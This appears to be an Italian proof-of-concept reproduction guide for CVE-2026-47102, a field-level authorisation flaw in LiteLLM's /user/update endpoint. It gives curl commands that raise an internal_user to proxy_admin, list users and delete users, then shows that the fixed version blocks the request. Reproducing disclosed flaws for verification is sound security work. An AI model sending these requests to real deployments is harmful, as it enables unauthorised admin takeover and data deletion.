
Il codice per riprodurre personalmente la vulnerabilità corrispondente
/user/updateLiteLLM v1.83.7 (versioni precedenti alla v1.83.10) l'endpoint
/user/updateconsente a utenti con privilegi bassi che hanno accesso a questo endpoint di modificare il campouser_roleinproxy_admindurante l'aggiornamento del proprio account, realizzando un'escalata dei privilegi non autorizzata.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-47102 |
| CVSS v3.1 | 8.8 (ALTO) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Autorizzazione Errata) |
| Affetti | LiteLLM < 1.83.10 (confermato su v1.83.7) |
| Corretto | v1.83.10+ (aggiunta verifica permessi per modifica del campo user_role) |
| Pubblicato | 2026-05-21 |
| Scoperto da | Fenix Qiao (13ph03nix) — Obsidian Security |
| Link | NVD |
L'endpoint /user/update di LiteLLM viene utilizzato per aggiornare gli attributi di un utente. Nelle versioni affette, la funzione can_user_call_user_update() di /user/update controlla se l'utente ha il permesso di aggiornare l'utente specificato (consentendo all'utente di aggiornare il proprio record), ma non impone alcuna restrizione sui campi modificabili.
Ciò significa che qualsiasi utente in grado di accedere all'endpoint /user/update (ad esempio, un utente a cui l'amministratore ha concesso il permesso su questa rotta, o un attaccante che ha ottenuto l'accesso a questo endpoint tramite altre vulnerabilità) può elevare il proprio ruolo a proxy_admin modificando il proprio campo user_role, ottenendo accesso completo a tutti gli endpoint amministrativi.
Admin crea una chiave API per internal_user con permessi sulla rotta /user/update
→ internal_user ottiene accesso a livello di rotta
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"} ← CVE-2026-47102
→ Ruolo elevato a proxy_admin
→ GET /user/list (verifica accesso amministrativo)
| Confronto | CVE-2026-47101 | CVE-2026-47102 |
|---|---|---|
| Focus vulnerabilità | /key/generate non verifica allowed_routes | /user/update manca permessi a livello di campo |
| Prerequisito attacco | internal_user può chiamare direttamente /key/generate | Necessario prima ottenere accesso alla rotta /user/update |
| Versione corretta | v1.83.14 | v1.83.10 |
Le due vulnerabilità possono essere concatenate: CVE-2026-47101 utilizzata per creare una chiave con rotta wildcard (accedere a
/user/update), CVE-2026-47102 per elevare il proprio ruolo aproxy_admin.
# 1. Avvia PostgreSQL + LiteLLM vulnerabile (v1.83.7-stable)
docker compose up -d litellm
# Attendi che il servizio sia pronto (circa 10-30 secondi)
sleep 15
# Controlla i log del container
docker logs litellm-47102-privesc 2>&1 | tail -10
L'output previsto dovrebbe contenere log di avvio come Uvicorn running on http://0.0.0.0:4000.
Utilizza la chiave master per creare un account internal_user a bassi privilegi:
curl -s -X POST http://localhost:4002/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Output previsto:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
L'amministratore crea per l'internal_user una chiave API con accesso alla rotta /user/update. Questo è il modo tipico in cui un utente reale ottiene l'accesso all'endpoint /user/update:
# Usa la chiave master per creare una chiave con la rotta /user/update
curl -s -X POST http://localhost:4002/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'
Output previsto:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
Utilizza la chiave ottenuta al passo 2 (con permessi sulla rotta /user/update) per elevare il ruolo utente a proxy_admin:
curl -s -X POST http://localhost:4002/user/update \
-H "Authorization: Bearer sk-route-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Output previsto:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Punto di vulnerabilità:
user_roleè cambiato dainternal_useraproxy_admin! L'endpoint/user/updateconsente all'utente di modificare il proprio campouser_rolesenza alcuna restrizione a livello di campo.
Verifica che l'elevazione del ruolo sia efficace tramite l'endpoint /user/list (usa la chiave API interna originale, che non ha restrizioni di rotta; dopo l'elevazione a proxy_admin ottiene automaticamente i permessi amministrativi):
# Usa la chiave elevata a proxy_admin (chiave internal_user originale, senza restrizioni di rotta)
curl -s -X GET http://localhost:4002/user/list \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json"
Output previsto:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
Sfruttando i permessi proxy_admin ottenuti, è possibile eliminare qualsiasi utente tramite /user/delete (usa sempre la chiave API internal_user originale):
curl -s -X POST http://localhost:4002/user/delete \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Output previsto:
1
I passaggi sopra sono integrati in demo.sh, eseguibile direttamente:
# Riproduzione completa (include confronto tra versione vulnerabile e corretta)
bash demo.sh
Avvia la versione corretta (v1.83.10-stable) per verificare che CVE-2026-47102 sia stato risolto:
docker compose --profile fixed up -d litellm-fixed
Crea un internal_user:
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")
Crea una chiave con la rotta /user/update:
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
Tenta di elevare i privilegi (dovrebbe essere bloccato):
curl -s -X POST http://localhost:4003/user/update \
-H "Authorization: Bearer $FIXED_ROUTE_KEY" \
-H "Content-Type: application/json" \
-d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"
Output previsto (versione corretta blocca la richiesta non autorizzata):
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}
Confronto con la versione vulnerabile: